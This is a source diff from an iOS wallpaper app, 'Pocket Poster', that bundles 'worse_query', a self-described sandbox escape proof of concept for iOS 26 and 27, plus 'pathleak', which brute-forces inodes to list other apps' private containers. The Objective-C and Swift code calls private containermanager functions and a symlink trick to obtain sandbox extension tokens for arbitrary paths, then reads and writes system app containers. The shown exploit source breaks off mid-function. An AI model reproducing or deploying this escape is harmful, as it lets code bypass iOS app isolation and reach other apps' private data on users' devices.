self.path = path
|
||||||
|
self.backend = backend
|
||||||
|
}
|
||||||
|
|
||||||
|
deinit {
|
||||||
|
release()
|
||||||
|
}
|
||||||
|
|
||||||
|
func release() {
|
||||||
|
guard handle >= 0 else { return }
|
||||||
|
switch backend {
|
||||||
|
case .worseQuery:
|
||||||
|
worse_query_release(handle)
|
||||||
|
case .badQuery:
|
||||||
|
bad_query_release(handle)
|
||||||
|
}
|
||||||
|
handle = -1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
enum SandboxEscape {
|
||||||
|
static let posterBoardBundleId = "com.apple.PosterBoard"
|
||||||
|
static let carPlayWallpaperBundleId = "com.apple.CarPlayWallpaper"
|
||||||
|
|
||||||
|
// MARK: - App Group
|
||||||
|
|
||||||
|
/// First App Group from our code signature that actually has a container.
|
||||||
|
/// nil means the app was signed without an App Group entitlement.
|
||||||
|
static let appGroupIdentifier: String? = {
|
||||||
|
guard let groups = entitledAppGroups(), !groups.isEmpty else { return nil }
|
||||||
|
|
||||||
|
let fm = FileManager.default
|
||||||
|
for group in groups {
|
||||||
|
if fm.containerURL(forSecurityApplicationGroupIdentifier: group) != nil {
|
||||||
|
return group
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return groups.first
|
||||||
|
}()
|
||||||
|
|
||||||
|
/// SecTask is not in the public iOS SDK headers, so resolve it at runtime.
|
||||||
|
private static func entitledAppGroups() -> [String]? {
|
||||||
|
guard let handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY) else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
defer { dlclose(handle) }
|
||||||
|
|
||||||
|
typealias CreateFromSelfFn = @convention(c) (CFAllocator?) -> Unmanaged<CFTypeRef>?
|
||||||
|
typealias CopyValueFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer<Unmanaged<CFError>?>?) -> Unmanaged<CFTypeRef>?
|
||||||
|
|
||||||
|
guard let createSymbol = dlsym(handle, "SecTaskCreateFromSelf"),
|
||||||
|
let copySymbol = dlsym(handle, "SecTaskCopyValueForEntitlement") else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
let create = unsafeBitCast(createSymbol, to: CreateFromSelfFn.self)
|
||||||
|
let copy = unsafeBitCast(copySymbol, to: CopyValueFn.self)
|
||||||
|
|
||||||
|
guard let task = create(nil)?.takeRetainedValue() else { return nil }
|
||||||
|
let key = "com.apple.security.application-groups" as CFString
|
||||||
|
guard let value = copy(task, key, nil)?.takeRetainedValue() else { return nil }
|
||||||
|
return value as? [String]
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Backend selection
|
||||||
|
|
||||||
|
/// worse_query when an App Group is available; otherwise the legacy
|
||||||
|
/// bad_query route on iOS 26 (it does not work on iOS 27+).
|
||||||
|
static let backend: SandboxEscapeBackend? = {
|
||||||
|
if let group = appGroupIdentifier {
|
||||||
|
// create_dir=true skips the sandbox-blocked lstat.
|
||||||
|
let handle = worse_query("/var/mobile", group, false, true)
|
||||||
|
if handle >= 0 {
|
||||||
|
worse_query_release(handle)
|
||||||
|
return .worseQuery
|
||||||
|
}
|
||||||
|
// -1 / -2 mean the group or the containermanager plumbing is missing.
|
||||||
|
if handle != -1 && handle != -2 {
|
||||||
|
return .worseQuery
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ProcessInfo.processInfo.operatingSystemVersion.majorVersion <= 26 {
|
||||||
|
var probe = "/var/mobile".utf8CString.map { Int8($0) }
|
||||||
|
let handle = bad_query(&probe, true, nil, false)
|
||||||
|
if handle >= 0 {
|
||||||
|
bad_query_release(handle)
|
||||||
|
return .badQuery
|
||||||
|
}
|
||||||
|
// -3 / -4 / -254 mean the query ran but the path/token failed.
|
||||||
|
if handle == -3 || handle == -4 || handle == -254 {
|
||||||
|
return .badQuery
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}()
|
||||||
|
|
||||||
|
static var isAvailable: Bool { backend != nil }
|
||||||
|
static var isUsingWorseQuery: Bool { backend == .worseQuery }
|
||||||
|
|
||||||
|
// MARK: - Consume / Release
|
||||||
|
|
||||||
|
/// Obtain a sandbox extension for an absolute path.
|
||||||
|
/// - Parameters:
|
||||||
|
/// - path: Absolute filesystem path.
|
||||||
|
/// - create: Skip the existence check (needed for sandbox-blocked paths).
|
||||||
|
@discardableResult
|
||||||
|
static func consume(path: String, create: Bool = false) throws -> SandboxEscapeHandle {
|
||||||
|
guard path.hasPrefix("/") else { throw SandboxEscapeError.invalidPath }
|
||||||
|
guard let backend else { throw SandboxEscapeError.unavailable }
|
||||||
|
|
||||||
|
switch backend {
|
||||||
|
case .worseQuery:
|
||||||
|
guard let group = appGroupIdentifier else { throw SandboxEscapeError.noAppGroup }
|
||||||
|
// iOS 26 App Group containers need the alternate operation flags.
|
||||||
|
let altFlags = ProcessInfo.processInfo.operatingSystemVersion.majorVersion == 26
|
||||||
|
&& path.contains("/var/mobile/Containers/Shared/AppGroup")
|
||||||
|
let handle = worse_query(path, group, altFlags, create)
|
||||||
|
guard handle >= 0 else { throw SandboxEscapeError.fromWorseQuery(handle) }
|
||||||
|
return SandboxEscapeHandle(handle: handle, path: path, backend: .worseQuery)
|
||||||
|
|
||||||
|
case .badQuery:
|
||||||
|
var cPath = path.utf8CString.map { Int8($0) }
|
||||||
|
let handle = bad_query(&cPath, create, nil, false)
|
||||||
|
guard handle >= 0 else { throw SandboxEscapeError.fromBadQuery(handle) }
|
||||||
|
return SandboxEscapeHandle(handle: handle, path: path, backend: .badQuery)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Listing
|
||||||
|
|
||||||
|
/// Freshly allocated inode just below the current high-water mark.
|
||||||
|
/// APFS hands out increasing inode numbers, so this bounds a full scan.
|
||||||
|
private static func baselineInode() -> UInt64 {
|
||||||
|
let fm = FileManager.default
|
||||||
|
let url = fm.temporaryDirectory
|
||||||
|
.appendingPathComponent(".wq_baseline_\(UUID().uuidString)")
|
||||||
|
do {
|
||||||
|
try Data("worse_query".utf8).write(to: url)
|
||||||
|
var info = stat()
|
||||||
|
let ok = url.path.withCString { stat($0, &info) } == 0
|
||||||
|
try? fm.removeItem(at: url)
|
||||||
|
if ok {
|
||||||
|
return info.st_ino + 1024
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
print("(wq) baseline inode failed: \(error.localizedDescription)")
|
||||||
|
}
|
||||||
|
return 2_000_000
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerate the immediate children of `path` through fsgetpath.
|
||||||
|
static func list(path: String, maxInode: UInt64? = nil) throws -> [String] {
|
||||||
|
let limit = maxInode ?? baselineInode()
|
||||||
|
guard let paths = pathleak(path, limit) else {
|
||||||
|
throw SandboxEscapeError.listFailed
|
||||||
|
}
|
||||||
|
return paths
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Container discovery
|
||||||
|
|
||||||
|
private static let metadataFileName = ".com.apple.mobile_container_manager.metadata.plist"
|
||||||
|
|
||||||
|
/// Read MCMMetadataIdentifier from a container root.
|
||||||
|
static func readBundleId(fromContainerPath containerPath: String) -> String? {
|
||||||
|
// Fast path: the container xattr.
|
||||||
|
if let token = try? consume(path: containerPath, create: true) {
|
||||||
|
defer { token.release() }
|
||||||
|
var buffer = [CChar](repeating: 0, count: 512)
|
||||||
|
let length = getxattr(
|
||||||
|
containerPath,
|
||||||
|
"com.apple.containermanager.identifier",
|
||||||
|
&buffer,
|
||||||
|
511,
|
||||||
|
0,
|
||||||
|
0
|
||||||
|
)
|
||||||
|
if length > 0 {
|
||||||
|
let bundleId = String(cString: buffer)
|
||||||
|
if !bundleId.isEmpty { return bundleId }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Metadata plist fallback.
|
||||||
|
for name in [metadataFileName, "com.apple.mobile_container_manager.metadata.plist"] {
|
||||||
|
let metaPath = (containerPath as NSString).appendingPathComponent(name)
|
||||||
|
guard let token = try? consume(path: metaPath, create: true) else { continue }
|
||||||
|
defer { token.release() }
|
||||||
|
if let dict = NSDictionary(contentsOfFile: metaPath) as? [String: Any],
|
||||||
|
let bundleId = dict["MCMMetadataIdentifier"] as? String,
|
||||||
|
!bundleId.isEmpty {
|
||||||
|
return bundleId
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
static var defaultSearchRoots: [String] {
|
||||||
|
var roots = ["/var/mobile/Containers/Data/Application"]
|
||||||
|
if #available(iOS 27.0, *) {
|
||||||
|
roots.append("/var/containers/Data/System")
|
||||||
|
}
|
||||||
|
roots.append("/var/mobile/Containers/Data/InternalDaemon")
|
||||||
|
roots.append("/var/mobile/Containers/Data/PluginKitPlugin")
|
||||||
|
return roots
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Find an application container UUID for a bundle identifier, on-device.
|
||||||
|
static func findAppHash(bundleId targetBundleId: String, searchRoots: [String]? = nil) throws -> String {
|
||||||
|
guard isAvailable else { throw SandboxEscapeError.unavailable }
|
||||||
|
|
||||||
|
let roots = searchRoots ?? defaultSearchRoots
|
||||||
|
let inode = baselineInode()
|
||||||
|
|
||||||
|
for root in roots {
|
||||||
|
guard let children = pathleak(root, inode) else { continue }
|
||||||
|
for child in children {
|
||||||
|
guard let id = readBundleId(fromContainerPath: child), id == targetBundleId else {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return (child as NSString).lastPathComponent
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw SandboxEscapeError.containerNotFound(targetBundleId)
|
||||||
|
}
|
||||||
|
|
||||||
|
static func findPosterBoardHash() throws -> String {
|
||||||
|
try findAppHash(bundleId: posterBoardBundleId)
|
||||||
|
}
|
||||||
|
|
||||||
|
static func findCarPlayHash() throws -> String {
|
||||||
|
try findAppHash(bundleId: carPlayWallpaperBundleId)
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - Path helpers
|
||||||
|
|
||||||
|
private static let cacheLock = NSLock()
|
||||||
|
private static var containerCache: [String: String] = [:]
|
||||||
|
|
||||||
|
/// Resolve the container root for a stored hash. iOS 27 keeps some system
|
||||||
|
/// app containers under /var/containers/Data/System, third-party apps
|
||||||
|
/// stay under /var/mobile/Containers/Data/Application.
|
||||||
|
static func applicationContainerPath(appHash: String) -> String {
|
||||||
|
let hash = appHash.trimmingCharacters(in: .whitespacesAndNewlines)
|
||||||
|
guard !hash.isEmpty else { return "" }
|
||||||
|
|
||||||
|
cacheLock.lock()
|
||||||
|
if let cached = containerCache[hash] {
|
||||||
|
cacheLock.unlock()
|
||||||
|
return cached
|
||||||
|
}
|
||||||
|
cacheLock.unlock()
|
||||||
|
|
||||||
|
var candidates = ["/var/mobile/Containers/Data/Application/\(hash)"]
|
||||||
|
if #available(iOS 27.0, *) {
|
||||||
|
candidates.append("/var/containers/Data/System/\(hash)")
|
||||||
|
}
|
||||||
|
|
||||||
|
for candidate in candidates {
|
||||||
|
if let handle = try? consume(path: candidate, create: true) {
|
||||||
|
handle.release()
|
||||||
|
cacheLock.lock()
|
||||||
|
containerCache[hash] = candidate
|
||||||
|
cacheLock.unlock()
|
||||||
|
return candidate
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return candidates[0]
|
||||||
|
}
|
||||||
|
|
||||||
|
static func descriptorsPath(appHash: String, ext: String) -> String {
|
||||||
|
let version = SymHandler.getExtensionVersion()
|
||||||
|
return applicationContainerPath(appHash: appHash)
|
||||||
|
+ "/Library/Application Support/PRBPosterExtensionDataStore/\(version)/Extensions/\(ext)/descriptors"
|
||||||
|
}
|
||||||
|
|
||||||
|
static func carPlayCachePath(appHash: String) -> String {
|
||||||
|
return applicationContainerPath(appHash: appHash)
|
||||||
|
+ "/Library/Caches/MappedImageCache/com.apple.CarPlayApp.wallpaper-images"
|
||||||
|
}
|
||||||
|
|
||||||
|
// MARK: - File operations under a container
|
||||||
|
|
||||||
|
/// Create `path` while holding an extension on the container root.
|
||||||
|
static func ensureDirectory(at path: String, containerRoot: String? = nil) throws {
|
||||||
|
let fm = FileManager.default
|
||||||
|
let root = containerRoot ?? inferredContainerRoot(for: path)
|
||||||
|
|
||||||
|
guard let root else {
|
||||||
|
let handle = try consume(path: path, create: true)
|
||||||
|
defer { handle.release() }
|
||||||
|
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
let handle = try consume(path: root, create: true)
|
||||||
|
defer { handle.release() }
|
||||||
|
do {
|
||||||
|
try fm.createDirectory(atPath: path, withIntermediateDirectories: true)
|
||||||
|
} catch {
|
||||||
|
throw SandboxEscapeError.directoryCreateFailed(error.localizedDescription)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Infer the container root from a path.
|
||||||
|
/// /var/mobile/Containers/Data/Application/<uuid>/...
|
||||||
|
/// /var/containers/Data/System/<uuid>/...
|
||||||
|
private static func inferredContainerRoot(for path: String) -> String? {
|
||||||
|
let components = path.split(separator: "/").map(String.init)
|
||||||
|
if components.count >= 6,
|
||||||
|
components[0] == "var",
|
||||||
|
components[1] == "mobile",
|
||||||
|
components[2] == "Containers",
|
||||||
|
components[3] == "Data" {
|
||||||
|
return "/" + components.prefix(6).joined(separator: "/")
|
||||||
|
}
|
||||||
|
if components.count >= 5,
|
||||||
|
components[0] == "var",
|
||||||
|
components[1] == "containers",
|
||||||
|
components[2] == "Data",
|
||||||
|
components[3] == "System" {
|
||||||
|
return "/" + components.prefix(5).joined(separator: "/")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
//
|
||||||
|
// SelfTest.swift
|
||||||
|
// Pocket Poster
|
||||||
|
//
|
||||||
|
// Launch-time diagnostics, enabled with POCKET_POSTER_SELFTEST=1.
|
||||||
|
// Used to verify worse_query and container discovery on-device.
|
||||||
|
//
|
||||||
|
|
||||||
|
import Foundation
|
||||||
|
import UIKit
|
||||||
|
|
||||||
|
enum SelfTest {
|
||||||
|
static var isEnabled: Bool {
|
||||||
|
ProcessInfo.processInfo.environment["POCKET_POSTER_SELFTEST"] == "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
static func run() {
|
||||||
|
print("=== Pocket Poster self-test ===")
|
||||||
|
print("OS: \(ProcessInfo.processInfo.operatingSystemVersionString)")
|
||||||
|
print("Bundle: \(Bundle.main.bundleIdentifier ?? "?")")
|
||||||
|
print("App Group: \(SandboxEscape.appGroupIdentifier ?? "nil")")
|
||||||
|
print("Backend: \(String(describing: SandboxEscape.backend))")
|
||||||
|
|
||||||
|
guard SandboxEscape.isAvailable else {
|
||||||
|
print("self-test: sandbox escape unavailable")
|
||||||
|
print("=== self-test done ===")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Can worse_query grant access to each search root?
|
||||||
|
for root in SandboxEscape.defaultSearchRoots {
|
||||||
|
do {
|
||||||
|
let handle = try SandboxEscape.consume(path: root, create: true)
|
||||||
|
print("access OK: \(root) (handle \(handle.handle))")
|
||||||
|
handle.release()
|
||||||
|
} catch {
|
||||||
|
print("access FAIL: \(root): \(error.localizedDescription)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Can we find PosterBoard's data container?
|
||||||
|
let start = Date()
|
||||||
|
do {
|
||||||
|
let hash = try SandboxEscape.findPosterBoardHash()
|
||||||
|
print("PosterBoard hash: \(hash) (scan \(String(format: "%.1f", Date().timeIntervalSince(start)))s)")
|
||||||
|
let container = SandboxEscape.applicationContainerPath(appHash: hash)
|
||||||
|
print("PosterBoard container: \(container)")
|
||||||
|
|
||||||
|
// 3. Can we open the CollectionsPoster descriptors directory?
|
||||||
|
let descriptors = SandboxEscape.descriptorsPath(
|
||||||
|
appHash: hash,
|
||||||
|
ext: "com.apple.WallpaperKit.CollectionsPoster"
|
||||||
|
)
|
||||||
|
do {
|
||||||
|
let handle = try SandboxEscape.consume(path: descriptors, create: true)
|
||||||
|
print("descriptors OK: \(descriptors) (handle \(handle.handle))")
|
||||||
|
handle.release()
|
||||||
|
} catch {
|
||||||
|
print("descriptors FAIL: \(descriptors): \(error.localizedDescription)")
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
print("PosterBoard detect FAIL: \(error.localizedDescription)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. CarPlay container (phones only).
|
||||||
|
if UIDevice.current.userInterfaceIdiom == .phone {
|
||||||
|
do {
|
||||||
|
let hash = try SandboxEscape.findCarPlayHash()
|
||||||
|
print("CarPlayWallpaper hash: \(hash)")
|
||||||
|
} catch {
|
||||||
|
print("CarPlayWallpaper detect FAIL: \(error.localizedDescription)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
print("=== self-test done ===")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,33 @@
|
|||||||
|
//
|
||||||
|
// pathleak.h
|
||||||
|
// worse_query
|
||||||
|
//
|
||||||
|
// Created by Taj C on 9/2/26.
|
||||||
|
//
|
||||||
|
|
||||||
|
/*
|
||||||
|
pathleak - The dumbest arbitrary path enumeration.
|
||||||
|
Copyright (C) 2026 Taj C (forcequit)
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef pathleak_h
|
||||||
|
#define pathleak_h
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
NSArray<NSString *> *pathleak(NSString *filter, uint64_t max_inode);
|
||||||
|
|
||||||
|
#endif /* pathleak_h */
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
//
|
||||||
|
// pathleak.m
|
||||||
|
// worse_query
|
||||||
|
//
|
||||||
|
// Created by Taj C on 9/2/26.
|
||||||
|
//
|
||||||
|
|
||||||
|
/*
|
||||||
|
pathleak - The dumbest arbitrary path enumeration.
|
||||||
|
Copyright (C) 2026 Taj C (forcequit)
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <sys/fsgetpath.h>
|
||||||
|
#include <sys/mount.h>
|
||||||
|
|
||||||
|
// This is just a rewrite of bad_query_list to return an NSString array and run faster
|
||||||
|
// The way this works is literally just brute-forcing inodes and doing fsgetpath until it gets a matching path, lol.
|
||||||
|
// Which is still, obviously, dramatically faster than brute-forcing UUIDs.
|
||||||
|
|
||||||
|
// It might be possible to derive a sane inode value automagically by just creating a file, doing stat() on it, getting *that* file's inode, then using that for the max_inode count.
|
||||||
|
|
||||||
|
NSArray<NSString *> *pathleak(NSString *path, uint64_t max_inode) {
|
||||||
|
// Sanity checks
|
||||||
|
if (path.length == 0 || max_inode < 1) return nil;
|
||||||
|
NSString *dir = path;
|
||||||
|
while (dir.length > 1 && [dir hasSuffix: @"/"]) { // Trim trailing slash (if present)
|
||||||
|
dir = [dir substringToIndex: dir.length - 1];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set everything up
|
||||||
|
struct statfs sfs;
|
||||||
|
if (statfs(dir.fileSystemRepresentation, &sfs) != 0) {
|
||||||
|
// Sandboxed apps may not be allowed to statfs an arbitrary container
|
||||||
|
// root, but the volume is the same as /private/var.
|
||||||
|
if (statfs("/private/var", &sfs) != 0 && statfs("/var", &sfs) != 0) return nil;
|
||||||
|
}
|
||||||
|
fsid_t fsid = sfs.f_fsid;
|
||||||
|
|
||||||
|
char prefix[PATH_MAX];
|
||||||
|
if (![dir getFileSystemRepresentation: prefix maxLength: sizeof(prefix)]) return nil;
|
||||||
|
size_t prefix_length = strlen(prefix);
|
||||||
|
if (prefix_length == 1 && prefix[0] == '/') prefix_length = 0;
|
||||||
|
|
||||||
|
NSFileManager *files = [NSFileManager defaultManager];
|
||||||
|
NSMutableArray<NSString *> *result = [NSMutableArray array];
|
||||||
|
char buffer[PATH_MAX];
|
||||||
|
|
||||||
|
// Brute-force inodes to their corresponding paths
|
||||||
|
// I'd like to make this multithreaded at some point, but I don't think it'll help.
|
||||||
|
for (uint64_t inode = 1; inode <= max_inode; inode++) {
|
||||||
|
ssize_t n = fsgetpath(buffer, sizeof(buffer), &fsid, inode);
|
||||||
|
if (n <= 0) continue;
|
||||||
|
|
||||||
|
// fsgetpath can return /private/var/... while callers pass /var/...
|
||||||
|
const char *path = buffer;
|
||||||
|
if (strncmp(path, "/private/var/", 13) == 0 && strncmp(prefix, "/var/", 5) == 0) {
|
||||||
|
path += 8;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strncmp(path, prefix, prefix_length) != 0) continue;
|
||||||
|
if (path[prefix_length] != '/') continue;
|
||||||
|
if (strchr(path + prefix_length + 1, '/')) continue;
|
||||||
|
|
||||||
|
NSString *string = [files stringWithFileSystemRepresentation: path length: strlen(path)];
|
||||||
|
if (string) [result addObject: string];
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
//
|
||||||
|
// worse_query.h
|
||||||
|
// worse_query
|
||||||
|
//
|
||||||
|
// Created by Taj C on 8/20/26.
|
||||||
|
//
|
||||||
|
|
||||||
|
/*
|
||||||
|
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
|
||||||
|
Copyright (C) 2026 Taj C (forcequit)
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef worse_query_h
|
||||||
|
#define worse_query_h
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
int64_t worse_query(NSString *path, NSString *group, bool alt_flags, bool create_dir);
|
||||||
|
void worse_query_release(int64_t handle);
|
||||||
|
|
||||||
|
#endif /* worse_query_h */
|
||||||
@@ -0,0 +1,148 @@
|
|||||||
|
//
|
||||||
|
// worse_query.m
|
||||||
|
// worse_query
|
||||||
|
//
|
||||||
|
// Created by Taj C on 8/20/26.
|
||||||
|
//
|
||||||
|
|
||||||
|
/*
|
||||||
|
worse_query - A sandbox escape PoC for iOS 26 and 27, again.
|
||||||
|
Copyright (C) 2026 Taj C (forcequit)
|
||||||
|
|
||||||
|
This program is free software: you can redistribute it and/or modify
|
||||||
|
it under the terms of the GNU General Public License as published by
|
||||||
|
the Free Software Foundation, either version 3 of the License, or
|
||||||
|
(at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#include <dlfcn.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <xpc/xpc.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include "worse_query.h"
|
||||||
|
|
||||||
|
typedef void *(*container_query_create_fn)(void);
|
||||||
|
typedef void (*container_query_set_class_fn)(void *, uint64_t);
|
||||||
|
typedef void (*container_query_set_identifiers_fn)(void *, xpc_object_t);
|
||||||
|
typedef void (*container_query_set_flags_fn)(void *, uint64_t);
|
||||||
|
typedef void (*container_query_set_part_fn)(void *, uint64_t);
|
||||||
|
typedef void *(*container_query_get_single_result_fn)(void *);
|
||||||
|
typedef void (*container_query_free_fn)(void *);
|
||||||
|
typedef char *(*container_copy_sandbox_token_fn)(void *);
|
||||||
|
typedef int64_t (*sandbox_extension_consume_fn)(const char *);
|
||||||
|
typedef int (*sandbox_extension_release_fn)(int64_t);
|
||||||
|
|
||||||
|
// Remove symlink and recreate Caches directory
|
||||||
|
static void clean_symlink(NSString *group) {
|
||||||
|
if (group != NULL) {
|
||||||
|
NSFileManager *files = [NSFileManager defaultManager];
|
||||||
|
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
|
||||||
|
if (groupRoot) {
|
||||||
|
NSURL *caches = [groupRoot URLByAppendingPathComponent: @"Library/Caches"];
|
||||||
|
[files removeItemAtURL: caches error: nil];
|
||||||
|
[files createDirectoryAtURL: caches withIntermediateDirectories: false attributes: nil error: nil];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// So, who's ready for round two?
|
||||||
|
int64_t worse_query(NSString *target, NSString *group, bool alt_flags, bool create_dir) {
|
||||||
|
// Check if the target exists
|
||||||
|
if (!create_dir) {
|
||||||
|
struct stat st;
|
||||||
|
if (lstat(target.fileSystemRepresentation, &st) != 0) return -255; // Nothing exists at this path, and create_dir is false
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get the App Group's path
|
||||||
|
// An App Group identifier you control is required for this
|
||||||
|
NSFileManager *files = [NSFileManager defaultManager];
|
||||||
|
NSURL *groupRoot = [files containerURLForSecurityApplicationGroupIdentifier: group];
|
||||||
|
if (!groupRoot) return -1; // App Group doesn't exist or we can't access it
|
||||||
|
NSString *caches = [[groupRoot URLByAppendingPathComponent: @"Library/Caches"] path];
|
||||||
|
|
||||||
|
// Resolve functions
|
||||||
|
void *mgr = dlopen("/usr/lib/system/libsystem_containermanager.dylib", RTLD_NOW | RTLD_LOCAL);
|
||||||
|
if (!mgr) return -2; // dlopen failed?
|
||||||
|
|
||||||
|
container_query_create_fn query_create = (container_query_create_fn)dlsym(mgr, "container_query_create");
|
||||||
|
container_query_set_class_fn query_set_class = (container_query_set_class_fn)dlsym(mgr, "container_query_set_class");
|
||||||
|
container_query_set_identifiers_fn query_set_group_identifiers = (container_query_set_identifiers_fn)dlsym(mgr, "container_query_set_group_identifiers");
|
||||||
|
container_query_set_flags_fn query_set_flags = (container_query_set_flags_fn)dlsym(mgr, "container_query_operation_set_flags");
|
||||||
|
container_query_set_part_fn query_set_part = (container_query_set_part_fn)dlsym(mgr, "container_query_operation_set_part");
|
||||||
|
container_query_get_single_result_fn query_get_single_result = (container_query_get_single_result_fn)dlsym(mgr, "container_query_get_single_result");
|
||||||
|
container_query_free_fn query_free = (container_query_free_fn)dlsym(mgr, "container_query_free");
|
||||||
|
container_copy_sandbox_token_fn copy_sandbox_token = (container_copy_sandbox_token_fn)dlsym(mgr, "container_copy_sandbox_token");
|
||||||
|
sandbox_extension_consume_fn consume_extension = (sandbox_extension_consume_fn)dlsym(RTLD_DEFAULT, "sandbox_extension_consume");
|
||||||
|
if (!query_create || !query_set_class || !query_set_group_identifiers || !query_set_flags || !query_set_part || !query_get_single_result || !query_free || !copy_sandbox_token || !consume_extension) {
|
||||||
|
dlclose(mgr);
|
||||||
|
return -2; // Failed to resolve a function (unsupported OS)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create query
|
||||||
|
void *query = query_create();
|
||||||
|
if (!query) {
|
||||||
|
dlclose(mgr);
|
||||||
|
return -3; // Failed to create query
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set up query
|
||||||
|
xpc_object_t identifier;
|
||||||
|
query_set_class(query, 7); // We're only using class 7 here (appGroup), which goes to containermanagerd
|
||||||
|
identifier = xpc_string_create(group.UTF8String);
|
||||||
|
query_set_group_identifiers(query, identifier);
|
||||||
|
query_set_part(query, 3); // The query's part sets our base path, part 3 is Library/Caches
|
||||||
|
if (alt_flags) {
|
||||||
|
query_set_flags(query, 0x0000000800000000ULL); // Accessing App Group containers on iOS 26.x needs different flags, for whatever reason
|
||||||
|
} else {
|
||||||
|
query_set_flags(query, 0x0000008000000000ULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set up symlink
|
||||||
|
[files removeItemAtPath: caches error: nil];
|
||||||
|
